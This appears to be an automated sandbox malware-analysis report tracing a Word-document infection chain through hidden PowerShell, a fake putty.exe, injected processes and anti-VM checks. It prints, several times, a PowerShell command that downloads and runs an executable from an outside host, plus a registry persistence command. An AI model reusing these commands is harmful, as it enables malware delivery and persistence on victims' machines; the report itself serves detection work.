Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp, type: MEMORY
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: putty.exe, 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: putty.exe, 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Contains functionality to enumerate running services
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: OpenSCManagerW,EnumServicesStatusExW,EnumServicesStatusExW,GetLastError,CloseServiceHandle,OpenSCManagerW,lstrcmpW, 13_2_0040D8FB
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: OpenSCManagerW,EnumServicesStatusExW,EnumServicesStatusExW,GetLastError,CloseServiceHandle,OpenSCManagerW,lstrcmpW, 15_2_0040D8FB
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\images.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\cmd.exe Window / User API: threadDelayed 709
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Window / User API: threadDelayed 8061
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Window / User API: threadDelayed 1448
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Window / User API: foregroundWindowGot 420
Found dropped PE file which has not been started or loaded
Source: C:\ProgramData\images.exe Dropped PE file which has not been started: C:\Program Files\Microsoft DN1\sqlmap.dll Jump to dropped file
Source: C:\ProgramData\images.exe Dropped PE file which has not been started: C:\Windows\System32\rfxvmt.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2412 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3064 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2684 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2568 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3016 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2704 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 2972 Thread sleep time: -44533s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 1520 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 2984 Thread sleep time: -42305s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 1244 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 2300 Thread sleep count: 70 > 30 Jump to behavior
Source: C:\ProgramData\images.exe TID: 152 Thread sleep time: -46429s >= -30000s
Source: C:\ProgramData\images.exe TID: 2620 Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\images.exe TID: 1192 Thread sleep count: 70 > 30
Source: C:\ProgramData\images.exe TID: 2440 Thread sleep time: -420000s >= -30000s
Source: C:\Windows\SysWOW64\cmd.exe TID: 2752 Thread sleep count: 709 > 30
Source: C:\Windows\SysWOW64\cmd.exe TID: 2752 Thread sleep time: -8508000s >= -30000s
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe TID: 2248 Thread sleep time: -39409s >= -30000s
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe TID: 1480 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe TID: 1960 Thread sleep time: -11068046444225724s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\cmd.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe Last function: Thread delayed
Uses the system / local time for branch decision (may execute only at specific dates)
Source: C:\ProgramData\images.exe Code function: 21_3_042397E0 GetSystemTime followed by cmp: cmp edx, 04h and CTI: jc 0423983Bh 21_3_042397E0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00411446 FindFirstFileW,FindNextFileW, 13_2_00411446
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA, 13_2_0040955B
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00411446 FindFirstFileW,FindNextFileW, 15_2_00411446
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA, 15_2_0040955B
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0041154A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW, 13_2_0041154A
Source: C:\ProgramData\images.exe Code function: 21_3_04239970 GetSystemInfo, 21_3_04239970
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Thread delayed: delay time: 44533 Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Thread delayed: delay time: 42305 Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\images.exe Thread delayed: delay time: 46429
Source: C:\ProgramData\images.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Thread delayed: delay time: 39409
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: vmware
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: powershell.exe, 00000006.00000002.2096271913.00000000002FE000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: VMWARE
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\ProgramData\images.exe Code function: 21_3_0429723B _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 21_3_0429723B
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_004060B0 LoadLibraryA,GetProcAddress,ExitProcess, 13_2_004060B0
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00426222 mov eax, dword ptr fs:[00000030h] 13_2_00426222
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0041EB27 mov eax, dword ptr fs:[00000030h] 13_2_0041EB27
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00411B38 mov eax, dword ptr fs:[00000030h] 13_2_00411B38
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00411B3F mov eax, dword ptr fs:[00000030h] 13_2_00411B3F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00411E6D mov eax, dword ptr fs:[00000030h] 13_2_00411E6D
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00426222 mov eax, dword ptr fs:[00000030h] 15_2_00426222
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0041EB27 mov eax, dword ptr fs:[00000030h] 15_2_0041EB27
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00411B38 mov eax, dword ptr fs:[00000030h] 15_2_00411B38
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00411B3F mov eax, dword ptr fs:[00000030h] 15_2_00411B3F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00411E6D mov eax, dword ptr fs:[00000030h] 15_2_00411E6D
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00406045 GetProcessHeap,RtlAllocateHeap, 13_2_00406045
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process token adjusted: Debug Jump to behavior
Source: C:\ProgramData\images.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process token adjusted: Debug
Source: C:\ProgramData\images.exe Code function: 21_3_0429723B _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 21_3_0429723B
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Allocates memory in foreign processes
Source: C:\ProgramData\images.exe Memory allocated: C:\Windows\SysWOW64\cmd.exe base: 120000 protect: page execute and read and write
Source: C:\ProgramData\images.exe Memory allocated: C:\Windows\SysWOW64\cmd.exe base: 130000 protect: page read and write
Bypasses PowerShell execution policy
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Contains functionality to inject threads in other processes
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00407B2E OpenProcess,GetCurrentProcess,MessageBoxA,VirtualAllocEx,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread, 13_2_00407B2E
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00407D5E OpenProcess,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread, 13_2_00407D5E
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00413F7F RegSetValueExA,OpenProcess,GetCurrentProcessId,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, 13_2_00413F7F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00407B2E OpenProcess,GetCurrentProcess,MessageBoxA,VirtualAllocEx,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread, 15_2_00407B2E
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00407D5E OpenProcess,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread, 15_2_00407D5E
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00413F7F RegSetValueExA,OpenProcess,GetCurrentProcessId,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, 15_2_00413F7F
Creates a thread in another existing process (thread injection)
Source: C:\ProgramData\images.exe Thread created: C:\Windows\SysWOW64\cmd.exe EIP: 12010E
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\putty.exe Memory written: C:\Users\user\AppData\Roaming\putty.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory written: C:\Users\user\AppData\Roaming\putty.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\images.exe Memory written: C:\ProgramData\images.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Memory written: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe base: 400000 value starts with: 4D5A
Injects files into Windows application
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Injected file: C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT was created by C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Windows\System32\notepad.exe Injected file: C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh .ScT was created by C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Writes to foreign memory regions
Source: C:\ProgramData\images.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: 120000
Source: C:\ProgramData\images.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: 130000
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, explorer.exe 13_2_0041405F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, explorer.exe 15_2_0041405F
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\putty.exe 'C:\Users\user\AppData\Roaming\putty.exe' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\putty.exe 'C:\Users\user\AppData\Roaming\putty.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Source: C:\ProgramData\images.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe
Source: C:\ProgramData\images.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\ProgramData\images.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe 'C:\Users\user\AppData\Roaming\iBCrDCK.i.exe'
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00412E91 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,RegCreateKeyExA,RegCloseKey,SetLastError, 13_2_00412E91
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00410A8C AllocateAndInitializeSid,LookupAccountSidW,GetLastError,FreeSid, 13_2_00410A8C
Source: images.exe Binary or memory string: GetProgmanWindow
Source: images.exe Binary or memory string: SetProgmanWindow

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00410E5E cpuid 13_2_00410E5E
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE Queries volume information: C:\Users\user\AppData\Local\Temp\OICE_9306262C-FECE-4A9E-949D-FCC308D5F5A8.0\FLD93F.tmp VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
